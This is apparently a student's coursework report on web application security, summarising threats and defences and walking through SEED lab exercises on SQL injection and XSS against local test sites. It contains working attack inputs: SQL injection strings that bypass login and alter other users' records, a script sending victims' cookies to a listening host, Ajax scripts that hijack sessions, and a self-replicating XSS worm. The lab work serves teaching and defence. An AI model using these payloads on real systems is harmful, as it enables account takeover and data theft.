web应用程序安全攻防
web应用程序安全攻防
这个作业属于哪个课程 | 《网络攻防实践》 |
---|---|
这个作业的要求在哪里 | 《网络攻防实践》第十一周作业 |
1.实践内容
1.1 Web应用程序体系结构及其安全威胁
web 应用体系结构
浏览器客户端完成数据显示与内容渲染 ,服务器负责服务器负责业务计算处理,二者通过HTTP/HTTPS进行通信 。服务器端架构为表示层,业务逻辑层,数据层三层架构实现。
Web应用安全威胁
- 针对浏览器和终端用户的Web浏览器安全威胁:网页木马。
- 针对传输网络的网络协议安全威胁:tcp/ip协议栈威胁。
- 系统层安全威胁:web站点宿主操作系统安全威胁。
- web服务器软件安全威胁:Apache等网络服务漏洞。
- Web应用程序安全威胁:应用程序本身的漏洞。
- Web数据安全威胁:后台数据安全威胁。
1.2 Web应用安全攻防技术概述
web应用程序的探测和漏洞发现
- 手工审查程序结构和代码:
- 分析生成的页面:分析解析语言,可能的攻击手段,注释中的敏感信息等。
- 分析目录结构:探测服务器储存目录结构分析程序轮廓和可用信息。
- 分析辅助文件,输入表单,查询参数字符串:获取可能的数据表字段等。
- 自动下载与镜像Web站点页面:使用一些镜像软件进行对目标网页自动代码分析 。
- 使用Google Hacking技术审查与探测Web应用程序:google检索,使用独特关键字定位存在漏洞的web应用程序特定版本。GHDB包括四大类别:获取攻击入口点,获取攻击所需信息,探测安全漏洞,获取敏感信息与数据。
- Web应用程序安全评估与漏洞检测:借助辅助软件(代码分析,网页爬取,漏洞嗅探等)对目标应用程序进行功能研究评估,并找出可能漏洞。
Web服务器平台软件漏洞
- 数据驱动的远程代码执行安全漏洞:缓冲区溢出,不安全指针,格式化字符串等。
- 服务器功能扩展模块漏洞:一些web扩展模块存在的漏洞。
- 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞,但其实例仍然保存在软件中。
- 源代码泄露。
- 资源解析(把同一资源的不同表示形式解析为它的标准化名称的过程,如对url的编码在服务器端输入时需被标准化)攻击:在资源解析时遗漏一些验证处理导致的信息泄露等。
- 防范措施:补丁,防火墙。
web应用程序漏洞
- web安全最薄弱的环节。
- 针对认证机制的攻击:攻击用户、服务或应用身份确认机制。
- 授权机制的攻击。
- 客户端攻击。
- 命令执行攻击:sql注入等,远程命令攻击。
- 信息暴露。
- 逻辑攻击。
- 防范措施:提高代码安全性,日志与安全审计。
攻击Web数据内容
- 安全敏感数据泄露:wen站点因为不当操作或配置导致的敏感文件泄露。
- 网站篡改:入侵网站后,替换网站页面内容(黑页)。
- 上传不良信息。
- 防范措施:站点的维护,监测,防护
1.3 SQL注入
- 应用程序数据层存在的输入验证不完善型安全漏洞。
- web程序未对sql用户输入(转义字符的消除,类型判断等)进行正确的过滤。
- 原理是向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令(如果没有完善的输入验证机制,可以随意输入并连接到后台数据库查询的话,威胁是非常显然的),攻击和利用不完善的输入验证机制。
- SQL注入攻击步骤和过程:
- 发现注入点:测试动态网页中的sql查询参数。
- 判断后台数据库类型:测试数据库服务器的系统变量或系统表。
- 后台数据库中管理员用户口令字猜解:通过请求测试猜解表明、字段名、用户名和口令。
- 上传ASP后门,得到默认账户权限。
- 本地权限提升。
- 利用数据库扩展存储过程执行Shell命令。
- 防范措施:
- 使用类型安全的参数编码机制。
- 凡是来自外部的用户输入,必须进行完备检查。
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
- 加强SQL数据库服务器的配置与连接。
1.4 XSS跨站脚本攻击
- 在web页面插入恶意脚本,以获取用户敏感信息。
- 利用可交互的web应用的用户输入内容的安全验证与过滤机制漏洞。
- 类型包括持久性xss漏洞和非持久性xss漏洞。
- 防范措施:分为服务器端和客户端两个方面:
- 服务器端:输入验证 ,输出净化 ,消除危险的输入点 。
- 客户端防范措施 :提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读,采用安全浏览器如Chrome、Opera 。
2. 实践过程
2.1 SQL注入实验
任务1. 对SELECT语句的攻击:在不知道其他人的密码下登陆他的账号,找到修改数据库的方法。
任务2. 对UPDATE语句的攻击:不知道其他人密码的情况下修改其资料。例如:你以Alice登陆,你的目标就是修改Ted的资料信息,包括他的密码。攻击成功后你将可以登陆Ted的账号。
任务3. 对抗SQL注入。
实验前需运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start。
2.1.1 对SELECT语句的攻击
在不知道其他人的密码下登陆他的账号
登录www.sqllabmysqlphpbb.com进行登录尝试,失败后查看服务器验证文件unsafe_home.php,观察用户验证语句,分析验证逻辑,发现其未对用户输入的username进行格式的验证,故尝试通过输入特殊username注释掉其口令验证语句:
即输入Username为 "他人账号 ’#"注释掉后面的”and Password='$hashed_pwd'
“,然后进行登陆,登陆成功:
找到修改数据库的方法
上面的sql语句为查询语句,直观的想法是使输入的的语句变成两句,用第二句来修改数据库。
首先了解下数据库中用户数据:
将输入改为”Alice ';update cerdential set address='BJ' where name='Boby' #
“,尝试登录发现提示语法错误,这里是mysql的防御措施,阻止多语句调用:
2.1.2 对UPDATE语句的攻击
不知道其他人密码的情况下修改其资料
按照提供的pdf提示,在Alice登录后,尝试提交一些东西,F12+network观察链接的验证文件,unsafe_edit_backend.php。查看该文件并分析update语句逻辑:
貌似直接如上构造sql语句就够了。在登陆Alice后,在edit prifile表项第一个中输入” ',Address='NJ' where name='Boby';#
“。登录Boby,查询修改结果:
2.1.3 对抗SQL注入
在/var/www/SQLInjection目录下存在safe*文件:
观察safe*文件发现其验证逻辑有很大的修改:
比较明显的是不再通过直接的查询验证而是通过参数和结果的绑定语句。这里对抗sql最简单的方法或许是直接改名了(记得备份)。改名后验证发现原来的登录方法以无效,抗update方法同理:
2.2 SEED XSS 攻击实验
任务1. 测试漏洞:登录到论坛后发布一个帖子,帖子中包含以下内容:
<script>alert(’XSS’);</script>。
任务2. 在消息窗口中显示Cookie。
任务3. 获取受害主机Cookie。
任务4. 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
任务5. 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
任务6. 编写XSS蠕虫。
任务7. 对抗XSS攻击。
测试漏洞
登录alice账户,发布帖子,在edit profile编辑个人信息的页面中的Brief description项输入<script> alert('xss');</script>
然后save发布:
在消息窗口中显示Cookie
将上面脚本改写成<script> alert(document.cookie);</script>
:
获取受害主机Cookie
将脚本改为<script>document.write('<img src=http://192.168.200.2:5555?c='+escape(document.cookie) + ' >');</script>
,并在命令行中输入nc -l 5555 -v
监听指定端口,当使用另一账户访问alice的profile时,获取到该账户的cookie:
成为受害者的朋友
观察好友添加时,网页请求信息及相关参数:
在alice profile的about me中编写下面脚本并保存,使用另一账号访问alice主页后发现已添加alice为好友:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
修改受害者的信息
观察修改信息时数据情况:
同样构造脚本填入aboutme,使用另一账号访问,以修改该账号信息:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
编写XSS蠕虫
方法同上,当使用第三个账号访问第二个账号时,可以发现该账号也会被感染:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
对抗XSS攻击
登录管理员账号,依次找到Account->Administration->plugins,激活HTMLawed 插件,增加程序校验法则。之后登录alice账号查看,可发现注入代码已被转义为字符串,作为数据被展示 :
3.学习中遇到的问题及解决
-
做到一半云班课pdf指导内容不适用seed版本。
解决:参考新的指导pdf。
-
脚本构建。
解决:参考同学博客。
4.实践总结
xss的一整套实验设计的挺好的,但可惜没能自己动手写脚本;
像这种验证输入的漏洞防护应该挺好做的,应该只是初期安全意识不够才导致攻击事件。